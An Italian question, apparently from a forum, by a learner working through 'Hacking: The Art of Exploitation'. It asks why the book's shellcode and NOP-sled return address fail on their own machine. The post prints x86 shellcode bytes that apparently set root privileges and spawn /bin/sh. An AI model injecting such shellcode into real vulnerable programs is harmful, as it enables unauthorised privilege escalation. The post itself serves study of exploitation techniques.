Sto imparando gli exploit del libro Hacking: The Art of Exploitation . Il codice shell qui sotto è stato scritto per consentire un accesso privilegiato ai file.
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80
\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80
Tuttavia sembra che lo shellcode non funzioni per gli indirizzi, sul mio computer (con la slitta NOP) 0xffffd9e2 ripetuto 40 volte da quando l'autore ha scritto lo shellcode nel libro per 0xbffff6f6. Mi chiedo se ho bisogno di scrivere uno shellcode specifico per 0xffffd9e2.